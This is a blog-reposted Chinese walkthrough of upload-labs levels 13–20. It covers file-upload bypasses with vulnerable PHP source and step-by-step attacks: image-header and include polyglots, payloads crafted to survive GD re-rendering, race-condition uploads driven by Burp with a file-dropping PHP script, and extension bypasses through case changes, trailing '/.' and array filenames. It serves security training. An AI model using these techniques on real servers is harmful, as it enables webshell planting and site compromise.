upload-labs详解(13-20)文件上传分析

目录

upload-labs-env

upload-labs-env第十三关

文件包含漏洞

代码

测试

上传一个.jpg图片

上传一个.png文件

上传一个.gif图片

upload-labs-env第十四关

代码

思路

upload-labs-env第十五关

代码

思路

upload-labs-env第十六关

代码

思路

测试

上传gif格式文件——较简单——比较图片

上传png格式图片——较麻烦

上传jpg格式图片——有一些不能被处理,要多试几次

upload-labs-env第十七关

代码

思路

解题思路

上传测试

使用Burpsuite多次上传

生成

upload-labs-env第十八关

思路

测试

upload-labs-env第十九关

代码

思路一,绕过大小写

思路二

upload-labs-env第二十关

代码

思路

测试


upload-labs-env

upload-labs-env第十三关

文件包含漏洞

以PHP为例,常用的文件包含函数有以下四种 include(),require(),include_once(),require_once()

区别如下:

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行

  • include():找不到被包含的文件只会产生警告,脚本继续执行

  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

网页代码

<?php include $_GET['test']; ?>

php代码

<?php phpinfo(); ?>

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:

将phpinfo.php文件后缀改为jpg格式,也可以解析:

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

代码

function getReailFileType($filename){//fopen — 打开文件或者 URL//r - 表示以只读方式打开文件,文件必须存在,b表示以二进制方式打开文件,如果不加b,表示默认加了t,即以文本方式打开文件$file = fopen($filename, "rb");//fread — 读取文件(可安全用于二进制文件),最多读取2字节$bin = fread($file, 2); //只读2字节//fclose — 关闭一个已打开的文件指针,将file指向的文件关闭fclose($file);//unpack 是 PHP 中用于解包二进制数据的函数,它可以将二进制字符串解析为 PHP 数组//@:错误控制运算符,用于抑制可能的警告或错误//C:表示无符号字符(unsigned char),占用 1 字节,范围为 0 到 255//2:表示解析 2 个字节$strInfo = @unpack("C2chars", $bin);//intval - 获取变量的整数值//将 $strInfo['chars1'] 和 $strInfo['chars2'] 的值拼接成一个字符串,然后将其转换为整数$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    //文件的后缀(如 .jpg, .png, .gif)通常是通过文件的**魔数(Magic Number)**来确定的,而不是直接通过文件的后缀名。魔数是文件开头的特定字节,用于标识文件的类型。解析前两个字节并拼接后得到的结果,实际上是文件魔数的一部分,用于匹配文件类型。//JPEG:文件头的前两个字节是 0xFFD8,转换为十进制是 255216//PNG:文件头的前两个字节是 0x8950,转换为十进制是 13780//GIF:文件头的前两个字节是 0x4749,转换为十进制是 7173switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

测试

先上传一个index.jgp,上传失败,后端对图片内容有检测,使用白名单,只能上传规定格式的文件

使用文件包含,使图片文件中包含php代码生成图片码

copy 00000.jpg /b + test.php /a test.jpg

上传一个.jpg图片

复制图片地址,转到文件包含漏洞的位置

使用get传递file

包含成功

上传一个.png文件

上传一个.gif图片

我们使用010editor编辑index.php文件,在文件头加上gif文件的头,

上传访问

upload-labs-env第十四关

代码

function isImage($filename){$types = '.jpeg|.png|.gif';//file_exists — 检查文件或目录是否存在if(file_exists($filename)){//getimagesize — 取得图像大小$info = getimagesize($filename);//image_type_to_extension — 取得图像类型的文件后缀$ext = image_type_to_extension($info[2]);//stripos — 查找字符串首次出现的位置(不区分大小写)if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;//isset — 检测变量是否已声明并且其值不为 null
if(isset($_POST['submit'])){//获取上传文件的临时路径$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;//move_uploaded_file — 将上传的文件移动到新位置if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

思路

和十三关类似,我们上传一个文件包含的图片

我们使用010editor编辑index.php文件,在文件头加上gif文件的头,

upload-labs-env第十五关

代码

function isImage($filename){//需要开启php_exif模块//exif_imagetype — 判断一个图像的类型//exif_imagetype() 读取一个图像的第一个字节并检查其签名。$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break;    default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

思路

也是判断上传文件类型

 //exif_imagetype — 判断一个图像的类型//exif_imagetype() 读取一个图像的第一个字节并检查其签名。

上传测试

upload-labs-env第十六关

代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];//basename — 返回路径中的文件名部分$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名//strrchr — 查找指定字符在字符串中的最后一次出现//substr从查找的位置按照0,1,2......顺序返回后面的字符$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片//imagecreatefromjpeg — 由文件或 URL 创建一个新图象。//图片文件上传之后,打乱生成一个新图片,我们可以找到没有打乱的部分,修改为一句话木马$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());//strval — 获取变量的字符串值$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}

思路

寻找没有打乱的部分,上传一句话木马

测试

上传图片,下载被上传之后的图片

上传一个含有一句话木马的test_j.jpg

?? JFIF  ? ?  ? C ? C		?   [" ?            	? ?   } !1AQa "q2亼?#B绷R佯$3br?
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼??         	? ?   w !1AQ aq"2?B憽绷	#3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬?   ? 齋⒕h?E??颠坾x鈅
x寐V荕礆?e笣A侷鈶p??僯酻Y穾撪弢S'目? 黓姱|!=澱幖盅[茌Y^D?
琟le7F?B独I?y)w苦鵢饩?k鵞馡/V{?Q@聤(???????彽x 倐	x⑦煤暉€4兴﹊焙嵁?YaY?+$珒滎婘_??醂^x玘誹栺7?Wz泛殖鯽k瀂鄠??Q€輲X?<zeG輮彲?/螓?摀~焺T@(QE QE QE QE??php
phpinfo();
?>

下载被上传后的文件

?? JFIF      ? >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
? C     		$.' ",#(7),01444'9=82<.342? C			2!!22222222222222222222222222222222222222222222222222?   [" ?            	? ?   } !1AQa "q2亼?#B绷R佯$3br?
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼??         	? ?   w !1AQ aq"2?B憽绷	#3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬?   ? 麝+嚫蛔?塛??T:l7
錋J$gq??澕?类sW</猨']讄?┹嬮t讑Hn蘪?R唀w.?# -Du碤E
(
(
(
(<趉MF屪铴j1贠?D饄袶徝(e>鄦廕挈=徇靑o飊n皖Ж?汗螯祄"&N誙?撟$猪-
@?QE QE QE QE QE ?

已经将php代码打乱

上传gif格式文件——较简单——比较图片

先找一个gif文件

我们使用010editor软件进行比较

打开工具,比较,选择文件

找到相同部分

我们在文件,插入一句话木马,尽量在00字段插入,不会影响数据

重新上茶访问

上传png格式图片——较麻烦

这里我们使用脚本

demo.php

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

网站打开文件demo.php

运行后得到1.png.上传后下载到本地打开如下图

使用010editor打开,发现一句话木马已经存在了,现在就可以上传运行了

上传jpg格式图片——有一些不能被处理,要多试几次

也是使用脚本

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.

插入php代码

使用脚本处理1.jpg,命令php demo.php 1.jpg

使用16进制编辑器打开,就可以看到插入的php代码.

将生成的payload_1.jpg上传.

将上传的图片再次下载到本地,使用16进制编辑器打开

可以看到,php代码没有被去除. 证明我们成功上传了含有php代码的图片.

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

upload-labs-env第十七关

代码

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){//array — 新建一个数组$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];//获取文件后缀$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){//in_array — 检查数组中是否存在某个值if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;//rename — 重命名一个文件或目录rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";//unlink — 删除文件unlink($upload_file);}}else{$msg = '上传出错!';}
}

思路

代码处理流程

  • 移动文件到指定路径

  • 判断文件后缀是否符合

  • 符合则重命名

  • 不符合则删除文件

错误点:

先上传,后删除,中间有一个极短的窗口期,文件是在服务器中的,可以进行操作

漏洞:

条件竞争漏洞

在phpcmsv9也有同样的漏洞,可以直接上传webshell

解题思路

创建一个新木马文件creat.php,用于执行时则创建一个info1.php文件

<?php //fputs - fwrite的别名 — 写入文件(可安全用于二进制文件)//fopen — 以写入的方式打开文件或者 URLfputs(fopen('../web.php','w'),'<?php phpinfo();?>');?>
<?php //file_put_contents — 将数据写入文件file_put_concents('../shell.php','<?php phpinfo();?>');?>

建议生成文件到上一层目录

因为同级目录可能会循环删除

上传测试

我们发现上传就被删掉了

使用Burpsuite多次上传

发送到攻击器

添加payload爆破

持续发包

持续的发包,我们也需要不间断的去访问

我们也可以使用Burpsuite不间断的去访问,比手动效率高

生成

在上级目录已经生成web.php文件

访问成功

upload-labs-env第十八关

思路

上传的文件还是先上传,后重命名

使用文件包含,上传一个图片码,在后端代码执行到重命名之前,使用客户端访问到

测试

测试图片码的phpinfo();可不可以执行

可以执行

编辑demo.php

<?php fputs(fopen('../web123.php','w'),'<?php phpinfo();?>');?>

生成图片码

查看图片码

上传抓包爆破

访问查看是否成功

也可以使用Python脚本查看是否有成功的案例

import requests
url = "http://10.212.99.94/include.php?file=upload/web123.png"
while True:html = requests.get(url)if ('Warning' not in str(html.text)):print('ok')break

在上一级目录中生成了重命名后的文件,我们访问可以看到图片码上传成功,

对于没有被重命名的文件,重复上传,是否成功,有一定的运气在其中

upload-labs-env第十九关

代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {//file_exists — 检查文件或目录是否存在if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];//pathinfo — 返回文件路径的信息$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//in_array — 检查数组中是否存在某个值if(!in_array($file_ext,$deny_ext)) {//$_FILES — HTTP 文件上传变量$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

思路一,绕过大小写

直接上传一个info.phP文件,然后再修改上传名称即可成功上传。

访问

思路二

没有对上传的文件做判断,只对用户输入的文件名做判断 后缀名黑名单 上传的文件名用户可控 黑名单用于用户输入的文件后缀名进行判断 move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

先准备PHP一句话木马,并把后缀名改为PNG再上传

然后用BP来抓包,效果如下图,就是在upload-19.jpg改为upload-19.php/.

因为Windows的特性后缀改为indexp.php.也可

上传成功

upload-labs-env第二十关

代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');//检查上传的文件类型是否在白名单中if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名//如果输入的save_name为空,那么使用原始的文件名,否则使用save_name上传的文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {//explode — 使用一个字符串分割另一个字符串//strtolower — 将字符串转化为小写$file = explode('.', strtolower($file));}//end — 将数组的内部指针指向最后一个单元$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{//reset — 将数组的内部指针指向第一个单元$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}

函数分析

php
empty()   		 //函数用于检查一个变量是否为空。
explode(separator,string,limit) 		 //函数把字符串打散为数组。separator 	必需。规定在哪里分割字符串。string 	必需。要分割的字符串。limit 	可选。规定所返回的数组元素的数目。可能的值:大于 0 - 返回包含最多 limit 个元素的数组小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组0 - 返回包含一个元素的数组strtolower() 	 //把所有字符转换为小写:  
count()  		 //计算数组中的单元数目,或对象中的属性个数
end() 			 //函数将内部指针指向数组中的最后一个元素,并输出。    
reset()    		 //输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素:

思路

需要绕过对非数组进行分割

如果将数组传为save_name=["muma.php",不设置,"jpg"],当我们save_name[1]不设置的时候,count结果仍然是2,但是文件名后缀拼接出来为空,结果为muma.php. 再根据windows特性将.省略,达到文件上传的目的

测试

burpsuite改包

上传查看

我们使用vscode来debug一下,看一下代码内部的走向

if(!empty($_FILES['upload_file'])){

上传不为空,进入if条件语句

$allow_type为image/jpeg

继续

检测上传文件的种类在不在数组$allow_type中

在,进入else条件语句

检测到

传入save_name是个数组,有值,赋值给$file

if (!is_array($file)) {

检测$file是否数组,如果不是,分割成数组

是数组,绕过if条件语句

$ext = end($file);

将数组的最后一位赋值给$ext

即$ext = array(2) = jpg

xxxxxxxxxx2 1    $allow_suffix = array('jpg','png','gif');2    if (!in_array($ext, $allow_suffix)) {

$ext是否在白名单中

进入else条件判断

拼接赋值,数组中第一个值拼接数组中array(数组长度-1)的值

$file_name = test.php.

			//reset — 将数组的内部指针指向第一个单元$file_name = reset($file) . '.' . $file[count($file) - 1];

Windows存储模式,忽略后面的 . 存储为test.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/72656.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络安全通信架构图

&#x1f345; 点击文末小卡片 &#xff0c;免费获取网络安全全套资料&#xff0c;资料在手&#xff0c;涨薪更快 在安全通信里面我经常听到的2个东西就是SSL和TLS&#xff0c;这2个有什么区别呢&#xff1f;以及HTTPS是怎么通信的&#xff1f;包括对称加密、非对称加密、摘要、…

Java中的String类

目录 1. String类的重要性 2. 常用方法 2.1 字符串构造 2.2 String对象的比较 2.3 字符串查找 2.4 转化 2.5 字符串替换 2.6 字符串拆分 2.7 字符串截取 2.8 其他操作方法 2.9 字符串的不可变性 2.10 字符串修改 3. StringBuilder和StringBuffer 3.1 StringBuilde…

深度分页介绍及优化建议

深度分页介绍 查询偏移量过大的场景我们称为深度分页&#xff0c;这会导致查询性能较低&#xff0c;例如&#xff1a; # MySQL 在无法利用索引的情况下跳过1000000条记录后&#xff0c;再获取10条记录 SELECT * FROM t_order ORDER BY id LIMIT 1000000, 10 深度分页问题的原…

live555推流服务器异常

1.后端异常信息&#xff1a; MultiFramedRTPSink::afterGettingFrame1(): The input frame data was too large for our buffer size (100176). 48899 bytes of trailing data was dropped! Correct this by increasing "OutPacketBuffer::maxSize" to at least m…

每日OJ_牛客_宵暗的妖怪_DP_C++_Java

目录 牛客_宵暗的妖怪_DP 题目解析 C代码 Java代码 牛客_宵暗的妖怪_DP 宵暗的妖怪 描述&#xff1a; 露米娅作为宵暗的妖怪&#xff0c;非常喜欢吞噬黑暗。这天&#xff0c;她来到了一条路上&#xff0c;准备吞噬这条路上的黑暗。这条道路一共被分为n 部分&…

20250306-笔记-精读class CVRPEnv:step(self, selected)

文章目录 前言一、if self.time_step<4:控制时间步的递增判断是否在配送中心特定时间步的操作更新更新当前节点和已选择节点列表更新需求和负载更新访问标记更新负无穷掩码更新步骤状态&#xff0c;将更新后的状态同步到 self.step_state 二、使用步骤总结 前言 class CVRP…

Flowable 基本入门

flowable.7z官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘 1、Flowable介绍 Flowable是BPMN的一个基于java的软件实现&#xff0c;不过Flowable不仅仅包括BPMN&#xff0c;还有DMN决策表和CMMN Case管理引擎&#xff0c;并且有自己的用户管理、微服务API等一系列功能&a…

完全背包-一维数组

52. 携带研究材料&#xff08;第七期模拟笔试&#xff09; 题目描述 小明是一位科学家&#xff0c;他需要参加一场重要的国际科学大会&#xff0c;以展示自己的最新研究成果。他需要带一些研究材料&#xff0c;但是他的行李箱空间有限。这些研究材料包括实验设备、文献资料和…

景联文科技:以专业标注赋能AI未来,驱动智能时代的精准跃迁

在人工智能技术重塑全球产业格局的今天&#xff0c;高质量训练数据已成为驱动算法进化的核心燃料。作为数据智能服务领域的领军者&#xff0c;景联文科技深耕数据标注行业多年&#xff0c;以全栈式数据解决方案为核心&#xff0c;构建起覆盖数据采集、清洗、标注、质检及算法调…

洛谷B2074 计算星期几

B2074 计算星期几 - 洛谷 代码区&#xff1a; #include<algorithm> #include<iostream> #include<unordered_map> #include<string> using namespace std; int main() {unordered_map<int, string> m { { 1,"Monday" },{2,"Tue…

协同过滤推荐算法+微信小程序的农产品团购推荐平台(程序+论文+讲解+安装+调试+售后)

感兴趣的可以先收藏起来&#xff0c;还有大家在毕设选题&#xff0c;项目以及论文编写等相关问题都可以给我留言咨询&#xff0c;我会一一回复&#xff0c;希望帮助更多的人。 系统介绍 在当今时代&#xff0c;科学技术正以令人瞩目的速度迅猛进步&#xff0c;经济社会也随之…

十大经典排序算法简介

一 概述 本文对十大经典排序算法做简要的总结(按常用分类方式排列),包含核心思想、时间/空间复杂度及特点。 二、比较类排序 1. 冒泡排序 (BUBBLE SORT) 思想:重复交换相邻逆序元素,像气泡上浮 复杂度: 时间:O(n^2)(最好情况O(n)) 空间:O(1) 特点:简单但效率低,稳…

[自然语言处理]pytorch概述--什么是张量(Tensor)和基本操作

pytorch概述 PyTorch 是⼀个开源的深度学习框架&#xff0c;由 Facebook 的⼈⼯智能研究团队开发和维护&#xff0c;于2017年在GitHub上开源&#xff0c;在学术界和⼯业界都得到了⼴泛应⽤ pytorch能做什么 GPU加速自动求导常用网络层 pytorch基础 量的概念 标量&#xf…

Spring统一格式返回

目录 一&#xff1a;统一结果返回 1&#xff1a;统一结果返回写法 2&#xff1a;String类型报错问题 解决方法 二&#xff1a;统一异常返回 统一异常返回写法 三&#xff1a;总结 同志们&#xff0c;今天咱来讲一讲统一格式返回啊&#xff0c;也是好久没有讲过统一格式返…

【无标题】四色拓扑模型与宇宙历史重构的猜想框架

### 四色拓扑模型与宇宙历史重构的猜想框架 --- #### **一、理论基础&#xff1a;四色拓扑与时空全息原理的融合** 1. **宇宙背景信息的拓扑编码** - **大尺度结构网络**&#xff1a;将星系团映射为四色顶点&#xff0c;纤维状暗物质结构作为边&#xff0c;构建宇宙尺度…

蓝桥杯 封闭图形个数

蓝桥杯 封闭图形个数 题目 链接 解答 # 数字个数 n int(input()) # 数字 ls input().split() # 统计数字的圈数 o_nums {} for i, x in enumerate(ls):o_num 0for c in x:if int(c) in [0, 4, 6, 9]:o_num 1elif c 8:o_num 2o_nums[i] o_num # 字典根据圆圈数排序 …

基于javaweb的SpringBoot学生在线考试管理系统设计和实现(源码+文档+部署讲解)

技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…

国产编辑器EverEdit - 超多样式设置

1 设置-编辑-样式 1.1 设置说明 1.1.1 折叠样式 默认为箭头&#xff0c;折叠样式选项如下&#xff1a; 箭头&#xff1a; 矩形和线条 五边形 圆形图标 1.1.2 光标样式 光标用于指示当前用户输入位置&#xff0c;光标样式选项如下&#xff1a; 默认 纤细 字宽 …

Linux - 线程控制

一、线程概念 1&#xff09;线程地址空间 线程与进程共享相同的虚拟地址空间&#xff0c;因此线程在访问内存时与进程没有本质的区别。但线程共享和独占的内存区域有不同的特点&#xff0c;理解这些特性对于正确使用线程至关重要。 1. 线程地址空间的组成 线程的地址空间是…

通过多线程分别获取高分辨率和低分辨率的H264码流

目录 一.RV1126 VI采集摄像头数据并同时获取高分辨率码流和低分辨率码流流程 ​编辑 1.1初始化VI模块&#xff1a; 1.2初始化RGA模块&#xff1a; 1.3初始化高分辨率VENC编码器、 低分辨率VENC编码器&#xff1a; 1.4 VI绑定高分辨率VENC编码器&#xff0c;VI绑定RGA模块…